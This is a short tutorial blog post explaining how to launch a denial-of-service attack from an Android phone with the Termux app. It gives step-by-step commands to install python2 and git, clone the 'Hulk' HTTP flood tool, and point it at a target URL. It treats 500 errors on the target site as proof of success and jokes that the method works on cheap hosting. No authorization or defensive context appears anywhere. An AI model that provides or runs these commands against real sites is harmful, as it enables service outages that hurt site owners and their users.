How to do DoS (Denial of Service) using Termux app

      A Denial-of-Service (DoS) is a very common cyber attack in which the attacker shut down machine or network intentionally to make it inaccessible to user.

In this post we are going to learn how DoS attack performed using android device. For this, we will use Termux app for this attack.

First if you haven't Termux app, just install it from below link.

Termux app: Download Here

--------------------------------------------------------------------------------------------------------------------------

1)  Open termux app & update termux packages. Type following command:

     $ apt update

-------------------------------------------------------------------------------------

2)  We need python2 and git to install & run the script so type following command:

     $ apt install python2 git

-----------------------------------------------------------------------------------------

3) Next we need a tool to perform this attack. So we are going to use 'Hulk' tool for DoS attack.To download this,type following command:

     $ git clone https://github.com/grafov/hulk.git

-----------------------------------------------------------------------------------------

4) Now open hulk tool using,

     $ cd hulk

-----------------------------------------------------------------------------------------

5) After this, now we are going to do DoS attack using Hulk. To use this tool, type:

     $ python2 hulk.py <target URL>

e.g. $python2 hulk.py https://www.abc.com

It will start performing DoS attack.

After some time, open target url in your browser,you will get a 500 related error while loading webpage.That means we performed successfully DoS attack.

To stop this attack, use 'Ctrl + C'

-----------------------------------------------------------------------------------------

Note: This method only works on cheap hosting websites :)
